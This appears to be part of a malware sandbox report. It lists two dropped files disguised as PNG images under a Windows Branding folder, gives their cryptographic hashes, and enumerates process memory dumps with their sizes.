4d9aa40f115e056c849a06ea3f2db51a4ac2a8d8a2f17eac00a69d75746da61b096d9bc0d316c89caa626f7d9115c6b4e982045c1f448ca17dd7e3ec03a12a1e

Download Submit
\Windows\Branding\mediasrv.png

MD5
d0990c13899f52c37abc4a8f87d9437f

SHA1
08e1b77cc789e9c9eb5aa6bfaeadaf8bb496d4b7

SHA256
609984cc5c94524861703155fb251c960f14c8fa208993dcc3fd4cad807e5617

SHA512
88b3dd58bbe5d087c82beb954539cf77c1aac48d7068c83eed7eb51a1a28e43c0c7d12fd483054336fc8143b31dda9b2ef60592b0aa2c4fd78b750c9618538bb

Download Submit
\Windows\Branding\mediasvc.png

MD5
7dba4ba1a7798d8aa3a2acae8fb5e1b1

SHA1
3efd9f454975a605233b95543b3efad429563dd2

SHA256
9d4814ab60ee09814ef0edac4a895e82d202a1569f5ec60e3dd39c1ea11a204e

SHA512
bf62d952003224dd73b490fa732d767d6af580944e0cf973005eaa125c5efe2377927dbd9ae075656aa6ea8590f0eeefc5b11a9643909bbf4532e8d8bcfb9f71

Download Submit
memory/604-56-0x0000000028190000-0x0000000028610000-memory.dmp

Filesize
4.5MB

Download
memory/604-57-0x0000000028190000-0x0000000028610000-memory.dmp

Filesize
4.5MB

Download
memory/604-58-0x0000000028190000-0x0000000028610000-memory.dmp

Filesize
4.5MB

Download
memory/604-55-0x0000000041350000-0x0000000041600000-memory.dmp

Filesize
2.7MB

Download
memory/1204-81-0x00000000027F4000-0x00000000027F7000-memory.dmp

Filesize
12KB

Download
memory/1204-80-0x00000000027F2000-0x00000000027F4000-memory.dmp

Filesize
8KB

Download
memory/1204-79-0x00000000027F0000-0x00000000027F2000-memory.dmp

Filesize
8KB

Download
memory/1204-82-0x00000000027F7000-0x00000000027F8000-memory.dmp

Filesize
4KB

Download
memory/1204-83-0x00000000027FC000-0x000000000281B000-memory.dmp

Filesize
124KB

Download
memory/1204-78-0x000000001B940000-0x000000001BC3F000-memory.dmp

Filesize
3.0MB

Download
memory/1204-77-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

Filesize
11.4MB

Download
memory/1324-59-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

Filesize
8KB

Download
memory/1324-60-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

Filesize
11.4MB

Download
memory/1324-66-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1324-62-0x0000000002942000-0x0000000002944000-memory.dmp

Filesize
8KB

Download
memory/1324-61-0x0000000002940000-0x0000000002942000-memory.dmp

Filesize
8KB

Download
memory/1324-63-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1324-64-0x000000001B720000-0x000000001BA1F000-memory.dmp

Filesize
3.0MB

Download
memory/1324-74-0x000000000296D000-0x000000000296E000-memory.dmp

Filesize
4KB

Download
memory/1328-89-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1328-86-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

Filesize
11.4MB

Download
memory/1328-88-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

Download
memory/1328-91-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

Filesize
3.0MB

Download
memory/1328-90-0x00000000023B7000-0x00000000023B8000-memory.dmp

Filesize
4KB

Download
memory/1328-87-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/1328-92-0x00000000023BC000-0x00000000023DB000-memory.dmp

Filesize
124KB

Download
memory/1500-110-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

Filesize
11.4MB

Download
memory/1500-111-0x0000000001000000-0x0000000001002000-memory.dmp

Filesize
8KB

Download
memory/1500-112-0x0000000001002000-0x0000000001004000-memory.dmp

Filesize
8KB

Download
memory/1500-113-0x0000000001004000-0x0000000001007000-memory.dmp

Filesize
12KB

Download
memory/1500-114-0x000000000100B000-0x000000000102A000-memory.dmp

Filesize
124KB

Download
memory/1696-95-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

Filesize
11.4MB

Download
memory/1696-101-0x00000000025CC000-0x00000000025EB000-memory.dmp

Filesize
124KB

Download
memory/1696-100-0x000000001B930000-0x000000001BC2F000-memory.dmp

Filesize
3.0MB

Download
memory/1696-96-0x00000000025C0000-0x00000000025C2000-memory.dmp

Filesize
8KB

Download
memory/1696-99-0x00000000025C4000-0x00000000025C7000-memory.dmp

Filesize
12KB

Download
memory/1696-97-0x00000000025C2000-0x00000000025C4000-memory.dmp

Filesize
8KB

Download
memory/1696-98-0x00000000025C7000-0x00000000025C8000-memory.dmp

Filesize
4KB

Download